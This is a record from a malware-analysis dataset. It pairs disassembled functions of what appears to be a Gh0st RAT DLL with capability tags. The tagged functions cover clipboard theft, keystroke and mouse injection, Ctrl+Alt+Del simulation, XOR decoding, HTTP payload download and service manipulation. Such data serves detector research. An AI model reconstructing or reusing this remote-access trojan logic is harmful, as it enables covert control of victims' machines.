joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006e00
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x1c
push edi
mov edi, eax
push 0x1c
lea eax, [esp + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10006e1d
pop edi
add esp, 0x1c
ret
mov ecx, dword [esp + 0x24]
push esi
mov esi, dword [esp + 0xc]
push 0x208
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x10006e3d
pop esi
pop edi
add esp, 0x1c
ret
mov eax, dword [esi + 0x3c]
movzx edx, word [eax + esi + 0x14]
add eax, esi
push ebx
push ebp
movzx ebp, word [eax + 6]
sub edi, esi
xor ebx, ebx
lea ecx, [edx + eax + 0x18]
test ebp, ebp
jbe 0x10006e80
lea eax, [ecx + 0x10]
lea esp, [esp]
mov edx, dword [eax]
mov esi, dword [eax - 8]
mov ecx, dword [eax - 4]
cmp edx, esi
ja 0x10006e6e
mov edx, esi
cmp edi, ecx
jb 0x10006e78
add edx, ecx
cmp edi, edx
jbe 0x10006e8a
inc ebx
add eax, 0x28
cmp ebx, ebp
jb 0x10006e60
pop ebp
pop ebx
pop esi
xor eax, eax
pop edi
add esp, 0x1c
ret
mov eax, dword [esp + 0x34]
inc ebx
pop ebp
mov dword [eax], ebx
sub edi, ecx
mov ecx, dword [esp + 0x34]
pop ebx
pop esi
mov dword [ecx], edi
mov eax, 1
pop edi
add esp, 0x1c
ret

Function at 0x10006fe0
Capabilities:
Print debug messages
Write file on windows

Disassembly:
sub esp, 0x808
mov eax, dword [0x1008e060]
xor eax, esp
mov dword [esp + 0x804], eax
mov ecx, dword [esp + 0x80c]
push esi
lea eax, [esp + 0x814]
push eax
push ecx
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.USER32.dll_wvsprintfW]
mov esi, eax
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [0x100c320c]
lea ecx, [esi + esi]
push ecx
lea edx, [esp + 0x14]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [0x100c320c]
push ecx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [esp + 0x808]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1000c146
add esp, 0x808
ret
Function at 0x10007360
Capabilities:
Create thread
Set socket configuration

Disassembly:
push 0xffffffffffffffff
push 0x10073d2b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push edi
mov eax, dword [0x1008e060]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
push 0x104
call fcn.1000c752
add esp, 4
mov dword [esp + 0x10], eax
mov dword [esp + 0x1c], 0
test eax, eax
je 0x100073ae
mov ecx, dword [esi + 0x6c]
push 0
push eax
call fcn.10007da0
jmp 0x100073b0
xor eax, eax
mov dword [esi + 0xfc], eax
test eax, eax
je 0x1000747c
push 0
push 0
push esi
push 0x100078a0
push 0
push 0
call fcn.1000c62d
push 0
push 0
push esi
push 0x10007930
push 0
push 0
mov dword [esi + 0x70], eax
call fcn.1000c62d
add esp, 0x30
mov dword [esi + 0x74], eax
mov eax, dword [esi + 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1000747c
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
mov ebp, dword [sym.imp.KERNEL32.dll_CancelIo]
mov ecx, dword [esp + 0x24]
push 1
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x1000746c
mov edx, dword [esi + 0x40]
push edx
call edi
push 4
lea edx, [esp + 0x14]
push edx
mov eax, 1
push 0x80
mov word [esp + 0x1c], ax
mov eax, dword [esi + 0x34]
push 0xffff
xor ecx, ecx
push eax
mov word [esp + 0x26], cx
call ebx
mov ecx, dword [esi + 0x34]
push ecx
call ebp
mov edx, dword [esi + 0x34]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x34], 0xffffffff
mov eax, dword [esi + 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10007413
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
pop ebx
add esp, 0x10
ret 4
Function at 0x100074a0
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x10073bc1
mov eax, dword fs:[0]
push eax
push ecx
push edi
mov eax, dword [0x1008e060]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov eax, dword [esi + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [esi + 0x70]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esi + 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esi + 0xfc]
test ecx, ecx
je 0x100074f4
mov eax, dword [ecx]
mov edx, dword [eax]
push 1
call edx
push 0x104
call fcn.1000c752
add esp, 4
mov dword [esp + 8], eax
cmp ebx, 3
jne 0x10007523
mov dword [esp + 0x14], 0
test eax, eax
je 0x10007559
push 1
push eax
lea ecx, [ebx + 1]
call fcn.10007da0
jmp 0x1000755b
cmp ebx, 7
jne 0x10007541
mov dword [esp + 0x14], 1
test eax, eax
je 0x10007559
push 1
push eax
lea ecx, [ebx + 1]
call fcn.10007da0
jmp 0x1000755b
mov dword [esp + 0x14], 2
test eax, eax
je 0x10007559
push 0
push eax
mov ecx, ebx
call fcn.10007da0
jmp 0x1000755b
xor eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esi + 0xfc], eax
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0xfc]
push eax
add ecx, 4
push ecx
call edi
cmp dword [esi + 0x68], 0
mov ecx, dword [esi + 0xfc]
mov eax, 0xcc0020
je 0x1000758d
mov eax, 0x40cc0020
push eax
add ecx, 0xc
push ecx
call edi
push 0
push 0
push esi
push 0x100078a0
push 0
push 0
mov dword [esi + 0x6c], ebx
call fcn.1000c62d
add esp, 0x18
mov dword [esi + 0x70], eax
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
add esp, 0x10
ret
Function at 0x100075d0
Capabilities:
Open clipboard

Disassembly:
push ebx
mov ebx, dword [esp + 8]
mov eax, dword [ebx]
push esi
mov esi, ecx
cmp eax, 9
ja case.default.0x100075e4
push edi
jmp dword [eax*4 + 0x100076dc]
mov eax, dword [esi + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebx
ret 8
lea edi, [esi + 0x100]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [ebx + 4]
call fcn.100074a0
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
ret 8
mov ecx, dword [ebx + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ecx
lea edi, [esi + 0x64]
push edi
call ebx
mov edx, dword [edi]
mov eax, dword [esi + 0xfc]
push edx
add eax, 4
push eax
call ebx
pop edi
pop esi
pop ebx
ret 8
call fcn.100087e0
pop edi
pop esi
pop ebx
ret 8
mov ecx, dword [esp + 0x14]
add ebx, 4
add ecx, 0xfffffffc
push ebx
call fcn.10007a40
pop edi
pop esi
pop ebx
ret 8
mov ecx, dword [ebx + 4]
push ecx
add esi, 0x58
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
pop ebx
ret 8
mov edx, dword [ebx + 4]
push edx
add esi, 0x5c
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
pop ebx
ret 8
mov eax, dword [ebx + 4]
push eax
lea edi, [esi + 0x68]
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [edi]
mov edx, dword [esi + 0xfc]
push ecx
push edx
call fcn.10008540
pop edi
pop esi
pop ebx
ret 8
push esi
call fcn.10007c80
pop edi
pop esi
pop ebx
ret 8
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100076d6
mov edi, dword [esp + 0x14]
add ebx, 4
add edi, 0xfffffffc
push ebx
call fcn.10007c30
pop edi
pop esi
pop ebx
ret 8
Function at 0x100076ba
Capabilities:
Open clipboard

Disassembly:
push ebx
mov ebx, dword [esp + 8]
mov eax, dword [ebx]
push esi
mov esi, ecx
cmp eax, 9
ja case.default.0x100075e4
push edi
jmp dword [eax*4 + 0x100076dc]
mov eax, dword [esi + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebx
ret 8
lea edi, [esi + 0x100]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [ebx + 4]
call fcn.100074a0
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
ret 8
mov ecx, dword [ebx + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ecx
lea edi, [esi + 0x64]
push edi
call ebx
mov edx, dword [edi]
mov eax, dword [esi + 0xfc]
push edx
add eax, 4
push eax
call ebx
pop edi
pop esi
pop ebx
ret 8
call fcn.100087e0
pop edi
pop esi
pop ebx
ret 8
mov ecx, dword [esp + 0x14]
add ebx, 4
add ecx, 0xfffffffc
push ebx
call fcn.10007a40
pop edi
pop esi
pop ebx
ret 8
mov ecx, dword [ebx + 4]
push ecx
add esi, 0x58
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
pop ebx
ret 8
mov edx, dword [ebx + 4]
push edx
add esi, 0x5c
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
pop ebx
ret 8
mov eax, dword [ebx + 4]
push eax
lea edi, [esi + 0x68]
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [edi]
mov edx, dword [esi + 0xfc]
push ecx
push edx
call fcn.10008540
pop edi
pop esi
pop ebx
ret 8
push esi
call fcn.10007c80
pop edi
pop esi
pop ebx
ret 8
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100076d6
mov edi, dword [esp + 0x14]
add ebx, 4
add edi, 0xfffffffc
push ebx
call fcn.10007c30
pop edi
pop esi
pop ebx
ret 8
Function at 0x10007a40
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
mov eax, 0x24924925
mul ecx
push ebx
push esi
push edi
mov edi, ecx
sub edi, edx
shr edi, 1
add edi, edx
shr edi, 4
lea eax, [edi*8]
sub eax, edi
add eax, eax
add eax, eax
sub ecx, eax
jne 0x10007be2
call fcn.10008670
test edi, edi
jle 0x10007be2
mov esi, dword [ebp + 8]
add esi, 8
mov dword [esp + 0xc], edi
jmp 0x10007a90
mov eax, dword [esi - 4]
add eax, 0xfffffe00
cmp eax, 8
ja 0x10007abc
movzx edi, word [esi + 6]
movzx ebx, word [esi + 4]
push edi
push ebx
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push ebx
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [esi - 4]
cmp eax, 0x201
ja 0x10007b2a
je 0x10007b1b
sub eax, 0x100
cmp eax, 5
ja case.0x10007b38.521
jmp dword [eax*4 + 0x10007bec]
mov ecx, dword [esi]
push 0
push 0
push 0
push ecx
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
movzx edx, byte [esi]
push eax
push edx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10007b38.521
mov eax, dword [esi]
push 0
push 2
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
movzx ecx, byte [esi]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10007b38.521
push 0
push 0
push 0
push 0
push 2
jmp 0x10007bce
sub eax, 0x202
cmp eax, 8
ja case.0x10007b38.521
jmp dword [eax*4 + 0x10007c04]
push 0
push 0
push 0
push 0
push 4
jmp 0x10007bce
push 0
push 0
push 0
push 0
push 8
jmp 0x10007bce
push 0
push 0
push 0
push 0
push 0x10
jmp 0x10007bce
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push 0
push 0
push 0
push 0
push 6
call edi
push 0
push 0
push 0
push 0
push 6
call edi
jmp case.0x10007b38.521
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push 0
push 0
push 0
push 0
push 0x18
call edi
push 0
push 0
push 0
push 0
push 0x18
call edi
jmp case.0x10007b38.521
push 0
push 0
push 0
push 0
push 0x20
jmp 0x10007bce
push 0
push 0
push 0
push 0
push 0x40
jmp 0x10007bce
movsx edx, word [esi + 2]
push 0
push edx
push 0
push 0
push 0x800
call dword [sym.imp.USER32.dll_mouse_event]
add esi, 0x1c
sub dword [esp + 0xc], 1
jne 0x10007a90
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10007c30
Capabilities:
Write clipboard data

Disassembly:
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10007c76
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esp + 8]
push edi
push ecx
push eax
call fcn.100119c0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
ret 4
Function at 0x10007c80
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10007d01
push ebx
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
jne 0x10007ca5
call dword [sym.imp.USER32.dll_CloseClipboard]
pop ebx
ret 4
push ebp
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov esi, eax
push ebx
add esi, 4
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov ebp, eax
call fcn.1000c752
mov edi, eax
lea eax, [esi - 4]
push eax
lea ecx, [edi + 4]
push ebp
push ecx
mov dword [edi], 3
call fcn.100119c0
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ebx, dword [esp + 0x14]
push esi
push edi
call fcn.10002d80
push edi
call fcn.1000c4c5
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x100087e0
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push 0x400001cf
push 0
push 0
push str.Winlogon
mov edi, eax
call dword [sym.imp.USER32.dll_OpenDesktopW]
mov esi, eax
test esi, esi
je 0x1000881b
call fcn.10008750
test eax, eax
jne 0x10008820
push esi
call dword [sym.imp.USER32.dll_CloseDesktop]
pop edi
xor eax, eax
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageW]
test edi, edi
je 0x10008842
mov esi, edi
call fcn.10008750
pop edi
mov eax, 1
pop esi
ret

Function at 0x10008a70
Capabilities:
Encode data using xor

Disassembly:
push ecx
push esi
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 0x10]
mov dword [esp + 8], 0
call fcn.100088d0
mov esi, eax
mov eax, dword [esp + 4]
xor ecx, ecx
test esi, esi
jle 0x10008aa5
mov dl, byte [ecx + eax]
sub dl, 8
xor dl, 0x20
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x10008a94
pop esi
pop ecx
ret 4

Function at 0x10008be0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
mov esi, eax
test esi, esi
je 0x10008ca3
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x10008c04
push eax
mov eax, dword [ebp + 4]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
push 0
push 0
push 3
push 0
push 1
push connect
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10008c2a
pop ebx
pop esi
xor eax, eax
pop ebp
ret 4
push edi
push 0
push ebx
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp + 4]
mov edi, eax
push edi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
lea edx, [esp + 0x18]
push edx
push edi
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, str.GH0STC
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10008c70
sub eax, ecx
push eax
push edi
push str.GH0STC
push ebp
mov eax, esi
call fcn.10008b10
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop ebx
pop esi
pop ebp
ret 4
pop esi
xor eax, eax
pop ebp
ret 4
Function at 0x10008cb0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x410
mov eax, dword [0x1008e060]
xor eax, esp
mov dword [esp + 0x40c], eax
push esi
push edi
mov esi, edx
mov edi, ecx
mov dword [esp + 0x10], edi
test esi, esi
je 0x10008e18
push ebx
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
mov dword [esp + 0x10], ebx
test ebx, ebx
jne 0x10008d0c
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.1000c146
add esp, 0x410
ret
push ebp
push 0
push 0x80000100
push 0
push 0
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebp, eax
xor esi, esi
cmp ebp, esi
jne 0x10008d4a
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop ebp
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.1000c146
add esp, 0x410
ret
mov eax, dword [edi + 4]
mov ebx, 0x400
push ebx
push 8
push eax
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
push 0x400
lea ecx, [esp + 0x20]
push 0
push ecx
call fcn.100113d0
add esp, 0xc
lea edx, [esp + 0x10]
push edx
push 0x400
lea eax, [esp + 0x24]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [esp + 0x10]
add esi, eax
cmp esi, ebx
jbe 0x10008daf
push esi
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edi, eax
mov eax, dword [esp + 0x10]
mov ebx, esi
push eax
mov edx, edi
lea ecx, [esp + 0x20]
sub edx, eax
push ecx
add edx, esi
push edx
call fcn.100119c0
add esp, 0xc
cmp dword [esp + 0x10], 0
ja 0x10008d62
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call ebx
mov eax, dword [esp + 0x14]
push eax
call ebx
mov eax, str.GH0STC
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10008de3
sub eax, ecx
mov ecx, dword [esp + 0x18]
push eax
push esi
push str.GH0STC
push ecx
mov eax, edi
call fcn.10008b10
push edi
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
jmp 0x10008d31
mov ecx, dword [esp + 0x414]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.1000c146
add esp, 0x410
ret
Function at 0x10008f50
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x68
push esi
xor esi, esi
push edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0xc]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [esp + 0xc]
lea edx, [esp + 8]
push edx
push 1
push 1
push esi
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.kernel32.dll
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
jne 0x10008fb7
xor eax, eax
pop edi
pop esi
add esp, 0x68
ret
call eax
mov edx, dword [esp + 8]
push 4
lea ecx, [esp + 0x14]
push ecx
push 0xc
push edx
mov dword [esp + 0x20], eax
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push 0x40
lea eax, [esp + 0x30]
push esi
push eax
call fcn.100113d0
mov ecx, dword [esp + 0x14]
add esp, 0xc
push esi
xor eax, eax
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 0x44
mov dword [esp + 0x3c], 0x10089d38
mov dword [esp + 0x20], esi
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
mov eax, dword [esp + 0x78]
lea ecx, [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x10]
push esi
push edx
push 0x430
push esi
push esi
push esi
push eax
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov edx, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x18]
push edx
call edi
mov eax, dword [esp + 0xc]
push eax
call edi
pop edi
mov eax, esi
pop esi
add esp, 0x68
ret
Function at 0x10009070
Capabilities:
Enumerate devices by category

Disassembly:
push 0xffffffffffffffff
push 0x10073a58
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push edi
mov eax, dword [0x1008e060]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0x1c]
push eax
push 0x10077610
push 1
xor ebx, ebx
push ebx
push 0x10077570
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x100090f6
mov dword [esp + 0x10], ebx
push ebx
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
lea edx, [esp + 0x14]
push edx
push 0x10077580
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x1000910a
mov dword [esp + 0x40], 0xffffffff
mov eax, dword [esp + 0x10]
test eax, eax
je 0x100090f6
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
xor eax, eax
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
add esp, 0x38
ret
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
lea edx, [esp + 0x20]
push edx
lea edx, [esp + 0x18]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x100091c0
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea esp, [esp]
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
lea edx, [esp + 0x18]
push edx
push 0x100835a8
push 0
push 0
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
jl 0x10009198
mov eax, dword [esp + 0x18]
mov ecx, 8
mov word [esp + 0x24], cx
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push 0
lea ecx, [esp + 0x28]
push ecx
push str.FriendlyName
push eax
call edx
test eax, eax
jne 0x1000918c
mov eax, dword [esp + 0x2c]
push eax
inc ebx
call edi
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
lea edx, [esp + 0x20]
push edx
lea edx, [esp + 0x18]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x10009140
mov dword [esp + 0x40], 0xffffffff
mov eax, dword [esp + 0x10]
test eax, eax
je 0x100091d8
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, ebx
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
add esp, 0x38
ret
Function at 0x10009780
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1008b808
push 0x1000df70
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, dword [0x1008e060]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
mov dword [ebp - 0x20], edi
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp edi, ebx
jne 0x100097ea
cmp esi, ebx
je 0x10009822
lea ecx, [ebp - 0x3c]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x10009822
cmp dword [ebp - 0x38], 1
je 0x1000981b
lea edx, [ebp - 0x3c]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10009822
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 4], 0xfffffffe
call fcn.10009848
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009860
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1008b7e8
push 0x1000df70
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1008e060]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], ebx
push 2
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
mov dword [ebp - 0x20], edi
push 0x10010
mov eax, dword [ebp + 8]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp edi, ebx
jne 0x100098ca
cmp esi, ebx
je 0x100098d6
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xfffffffe
call fcn.100098ff
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret